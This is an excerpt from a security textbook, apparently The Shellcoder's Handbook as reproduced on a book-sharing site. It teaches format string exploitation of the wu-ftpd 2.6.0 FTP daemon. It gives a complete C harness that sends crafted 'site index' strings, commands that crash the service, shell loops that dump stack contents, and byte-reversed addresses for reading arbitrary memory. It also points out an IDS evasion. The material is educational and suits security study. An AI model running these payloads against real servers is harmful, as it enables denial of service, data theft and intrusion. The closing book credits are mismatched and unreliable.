Format String Exploits

When a printf family function is called, the parameters to the function are passed on the stack. As we mentioned earlier, if too few parameters are passed to the function, the printf function will take the next values from the stack and use those instead.

Normally, the format string is stored on the stack, so we can use the format string itself to supply arguments that the printf function will use when evaluating format specifiers.

We have already shown that in some cases format string bugs can be used to display the contents of the stack. Format string bugs can, more usefully, be used to run arbitrary code, using variations on the %n specifier (we will return to this later). Another, more interesting way of exploiting a format string bug is to use the %n specifier to modify values in memory in order to change the behavior of the program in some fundamental way. For example, a program might store a password for some administrative feature in memory. That password can be null- terminated using the %n specifier, which would allow access to that administrative feature with a blank password. User ID (UID) and group ID (GID) values are also good targets ”if a program is granting or revoking access to some resource, or changing its privilege level in some manner that is dependent on values in memory, those values can be arbitrarily modified to cripple the security of the program. In terms of subtlety, format strings can't be beaten.

So that we have a concrete example to play with, we'll take a look at the Washington University FTP daemon, which was vulnerable (in version 2.6.0) to a couple of format string bugs. You can find the original CERT advisory on these bugs at www.cert.org/advisories/CA-2000-13.html .

This is an interesting demonstration bug since it has many desirable features from the point of view of a working example:

  • The source code is available, and the vulnerable version can be easily downloaded and configured.

  • It is a remote-root bug (that can be triggered using the "anonymous" account) so it represented a very real threat.

  • A single process handles the control connection so we can perform multiple writes in the same address space.

  • We get the result of our format string echoed back to us so we can easily demonstrate information retrieval.

You will need a Linux box with gcc, gdb, and all the tools to download wu- ftpd 2.6.0 from ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.6.0.tar.gz . You can also grab the vulnerable version from the Shellcoder's Handbook Web site ( www. wiley .com/compbooks/koziol ) if the URL changes.

You might also want to get wu-ftpd-2.6.0.tar.gz.asc and verify that the file hasn't been modified, although it's up to you.

Follow the directions and install and configure wu-ftpd. You should of course bear in mind that by installing this, you are laying your machine open to anyone with a wu-ftpd exploit (which is to say, everyone) so take appropriate precautions , such as unplugging yourself from the network or using a decent firewall configuration. It would be embarrassing to be owned by someone using the same bug that you're using to learn about format string bugs. So please be careful.

Crashing Services

Occasionally, when attacking a network, all you want to do is crash a specific service. For example, if you are performing an attack involving name resolution, you might want to crash the DNS server. If a service is vulnerable to a format string problem, it is possible to crash it very easily.

So let's take our example, the wu-ftpd problem. The Washington University FTP daemon version 2.6.0 (and earlier) was vulnerable to a typical format string bug in the site exec command. Here is a sample session:

 [root@attacker]# telnet victim 21 Trying 10.1.1.1... Connected to victim (10.1.1.1). Escape character is '^]'. 220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29 BST 2003) ready. user anonymous 331 Guest login ok, send your complete e-mail address as password. pass foo@foo.com 230 User anonymous logged in. site exec %x %x %x %x %x %x %x %x 200-8 8 bfffcacc 0 14 0 14 0 200  (end of '%x %x %x %x %x %x %x %x') site index %x %x %x %x %x %x %x %x 200-index 9 9 bfffcacc 0 14 0 14 0 200  (end of 'index %x %x %x %x %x %x %x %x') quit 221-You have transferred 0 bytes in 0 files. 221-Total traffic for this session was 448 bytes in 0 transfers. 221-Thank you for using the FTP service on vulcan.ngssoftware.com. 221 Goodbye. Connection closed by foreign host. [root@attacker]# 

As you can see, by specifying %x in the site exec and (more interestingly) site index commands, we have been able to extract values from the stack in the manner described above.

Were we to have supplied this command:

 site index %n%n%n%n 

wu-ftpd would have attempted to write the integer to the addresses 0x8 , 0x8 , 0xbfffcacc , and 0x0 , causing a segmentation fault since 0x8 and 0x0 aren't normally writeable addresses. Let's try it:

 site index %n%n%n%n Connection closed by foreign host. 

Incidentally, not many people know that the site index command is vulnerable, so you can bet that most IDS signatures won't be looking for it. Certainly, at the time of writing, the default Snort rule base catches only site exec .

Information Leakage

Continuing with our wu-ftpd 2.6.0 example, let's look at how we can extract information.

We've already seen how to get information from the stack ”let's use the technique 'in anger' with wu-ftpd and see what we get.

First, let's cook up a quick and dirty test harness that lets us easily submit a format string via a site index command. Call it dowu.c.

 #include <stdio.h>  #include <string.h>   #include <stdlib.h>   #include <sys/types.h>   #include <sys/socket.h>   #include <sys/time.h>   #include <netdb.h>   #include <unistd.h>   #include <netinet/in.h>   #include <arpa/inet.h>   #include <signal.h>   #include <errno.h>       int connect_to_server(char*host){        struct hostent *hp;        struct sockaddr_in cl;        int sock;            if(host==NULL*host==(char)0){                        fprintf(stderr,"Invalid hostname\n");                    exit(1);             }            if((cl.sin_addr.s_addr=inet_addr(host))==-1)         {                if((hp=gethostbyname(host))==NULL)                 {                        fprintf(stderr,"Cannot resolve %s\n",host);                   exit(1);                }                    memcpy((char*)&cl.sin_addr,(char*)hp-> h_addr,sizeof(cl.sin_addr));             }         if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)         {                    fprintf(stderr,"Error creating socket:  %s\n",strerror(errno));                exit(1);            }                 cl.sin_family=PF_INET;         cl.sin_port=htons(21);             if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1)         {             fprintf(stderr,"Cannot connect to %s:  %s\n",host,strerror(errno));         }            return sock;    }       int receive_from_server( int s, int print )   {        int retval;        char buff[ 1024 * 64];                memset( buff, 0, 1024 * 64 );        retval = recv( s, buff, (1024 * 63), 0 );        if( retval > 0 )        {              if( print )                     printf( "%s", buff );        }        else        {              if( print)                        printf( "Nothing to recieve\n" );                  return 0;         }             return 1;    }       int ftp_send( int s, char *psz ) {         send( s, psz, strlen( psz ), 0 );         return 1;   }              int syntax()    {         printf("Use\ndo_wu <host> <format string>\n");         return 1;   }        int main( int argc, char *argv[] )    {           int s;           char buff[ 1024 * 64 ];           char tmp[ 4096 ];                if( argc != 4 )                return syntax();                s = connect_to_server( argv[1] );                        if( s <= 0 )                    _exit( 1 );               receive_from_server( s, 0 );               ftp_send( s, "user anonymous\n" );           receive_from_server( s, 0 );           ftp_send( s, "pass foo@example.com\n" );               receive_from_server( s, 0 );             if( atoi( argv[3] ) == 1 )         {                printf("Press a key to send the string...\n");                getc( stdin );             }                strcat( buff, "site index " );            sprintf( tmp, "%.4000s\n", argv[2] );            strcat( buff, tmp );                ftp_send( s, buff );                receive_from_server( s, 1 );                shutdown( s, SHUT_RDWR );           return 1;    } 

Compile this code (after substituting in the credentials of your choice) and run it.

Let's start with the basic stack pop.

 ./dowu localhost "%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x" 0 

You should get something like this:

 00-index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0 

Do we really need all those %x s? Well, not really. On most *nix's, we can use a feature known as direct parameter access . Note that above, the third value output from the stack was bfffca9c .

Try this:

 ./dowu localhost "%3$x" 0 

You should see:

 200-index bfffca9c 

We have directly accessed the third parameter and output it. This leads to the interesting possibility of outputting data from esp onwards, by specifying it's offset.

Let's batch this up and see what's on the stack.

 for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost  "%$i$x" 0; done 

That gives us the first 1,000 dwords of data on the stack, some of which might be interesting.

We can also use the %s specifier, just in case some of those values are pointers to interesting strings.

 for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost  "%$i$s" 0; done 

Since we can use the %s specifier to retrieve strings, we can try to retrieve strings from an arbitrary location in memory. To do this, we need to work out where on the stack the string that we're submitting begins. So, we do something like this:

 for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "AAA AAAAAAAAAAAAA%$i$x" 0; done  grep 4141 

to get the location in the parameter list of the 41414141 output (the beginning of the format string). On my box that's 272, but yours may vary.

Proceeding with that example, let's modify the beginning of our string and look at what we have in parameter 272.

 ./dowu localhost "BBBA%272$x" 0 

We get:

 200-index BBBA41424242 

which shows that the 4 bytes at the beginning of our string are parameter 272. So let's use that to read an arbitrary address in memory.

Let's start with a simple case that we know exists:

 for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost  "%$i$s" 0; done 

At parameter 187, I get this:

 200-index BBBA%s FTP server (%s) ready. 

So let's get the address of that string, using the %x specifier.

 ./dowu localhost "BBBA%187$x" 0 200-index BBBA8064d55 

We can now try to retrieve the string at 0x08064d55 like this:

 ./dowu localhost $'\x55\x4d\x06\x08%272$s' 0 200-index U%s FTP server (%s) ready. 

Note that we had to reverse the bytes in the "address" at the beginning of our format string because the I386 series of processors is little-endian.

We can now retrieve any data we like from memory, even a dump of the entire address space, just by specifying the address we choose at the beginning of the string, and using direct parameter access to get the data.

If the platform you're attacking doesn't support direct parameter access (for example, Windows) you can normally reach the parameter that stores the beginning of your string just by putting enough specifiers into your format string.

You might have a problem with this because the target process may impose a limit on the size of your string. There are a couple of possible workarounds for this. Since you're trying to reach the chosen parameter by popping data off the stack, you can make use of specifiers that take larger arguments, such as the %f specifier (which takes a double , an 8-byte floating-point number, as its parameter). This may not be terribly reliable, however; sometimes the floating-point routines are optimized out of the target process resulting in an error when you use the %f specifier. Also, you occasionally get division-by-zero errors, so you might want to use %.f , which will print only the integer part of the number, avoiding the division by zero.

Another possibility is the * qualifier, which specifies that the length output for a given parameter will be specified by the parameter that immediately precedes it. For example:

 printf("%*d", 10, 123); 

will print out the number 123, padded with leading spaces to a length of 10 characters . Some platforms allow this syntax:

 %*********10d 

which always prints out ten characters. This means that we can approach a 4-bytes-popped-to-1-byte-of-format string ratio.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net